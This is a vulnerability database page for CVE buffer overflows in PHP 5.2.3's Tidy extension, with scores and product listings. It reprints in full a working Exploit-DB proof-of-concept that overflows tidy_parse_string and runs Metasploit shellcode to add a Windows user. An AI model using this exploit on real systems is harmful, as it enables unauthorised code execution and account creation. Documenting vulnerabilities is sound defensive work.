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CVE Descriptions
Multiple buffer overflows in libtidy, as used in the Tidy extension for PHP 5.2.3 and possibly other products, allow context-dependent attackers to execute arbitrary code via (1) a long second argument to the tidy_parse_string function or (2) an unspecified vector to the tidy_repair_string function. NOTE: this might only be an issue in environments where vsnprintf is implemented as a wrapper for vsprintf.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 4080
Publication date : 2007-06-18 22h00 +00:00
Author : rgod
EDB Verified : Yes
<?php
//PHP 5.2.3 tidy_parse_string() & tidy_repair_string() local
//buffer overflow poc (win)
//rgod
//site: retrogod.altervista.org
//quickly tested on xp sp2, worked both from the cli and on apache
//let's have a look here: http://www.google.com/codesearch?hl=it&q=+tidy_parse_string&sa=N
if (!extension_loaded("tidy")){die("you need Tidy extension loaded!");}
# win32_adduser - PASS=tzu EXITFUNC=thread USER=sun Size=233 Encoder=JmpCallAdditive http://metasploit.com
$scode =
"\xfc\xbb\x0b\xad\x7d\x9a\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85".
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xf7\x45\x39\x9a\x07\x96\x49".
"\xdf\x3b\x1d\x31\xe5\x3b\x20\x25\x6e\xf4\x3a\x32\x2e\x2a\x3a\xaf".
"\x98\xa1\x08\xa4\x1a\x5b\x41\x7a\x85\x0f\x26\xba\xc2\x48\xe6\xf1".
"\x26\x57\x2a\xee\xcd\x6c\xfe\xd5\x29\xe7\x1b\x9e\x6d\x23\xe5\x4a".
"\xf7\xa0\xe9\xc7\x73\xe9\xed\xd6\x68\x9e\x12\x52\x6f\x4b\xa3\x38".
"\x54\x8f\x77\xf1\x54\xeb\xfc\xb2\x64\x76\xc2\x4b\x89\xf3\x83\xa7".
"\x1a\x73\x18\x15\x97\x1b\x28\x8e\xa1\x50\xa8\xe0\xb2\x66\xa9\x8b".
"\xdb\x5a\xf6\xba\xed\xc2\x5e\x34\xe9\x81\x9f\x3d\x5a\xed\xf0\x0c".
"\xba\x8d\x66\x09\xc5\xc7\x79\x7e\xc5\x30\xe6\xed\x5d\x90\x8c\x95".
"\xf8\xcc\x61\x05\x23\x62\x1b\xbd\x03\x0f\x90\x58\x36\xcf\x25\xd6".
"\xd8\x2f\xbe\x62\x50\x0f\x11\xd2\xde\x0b\x4d\xf2\xf8\xb3\xe3\x9f".
"\x70\x93\x97\x30\x1a\xb2\x0b\xa8\xae\x5b\xa1\x46\x6f\xe2\x2d\xca".
"\x06\x8a\xc4\x67\xad\x20\x76\xfc\x22\xb6\x0b\xdc\xcf\x43\x82\x3c".
"\x1f\xea\x1e\x79\x5f\xec\x9e\x81\x5f";
$EIP="\x8B\x51\x81\x7C"; //0x7C81518B call esp kernel32.dll
$NOP=str_repeat("\x90",12);
$____buff=str_repeat("a",2036).$EIP.$NOP.$scode;
tidy_parse_string(1,$____buff,1);
?>
# milw0rm.com [2007-06-19]
Products Mentioned
Configuraton 0
Php>>Php >> Version 5.2.3
- Php>>Php >> Version 5.2.3 (Open CPE detail)
- Php>>Php >> Version 5.2.3 (Open CPE detail)
- Php>>Php >> Version 5.2.3 (Open CPE detail)
References
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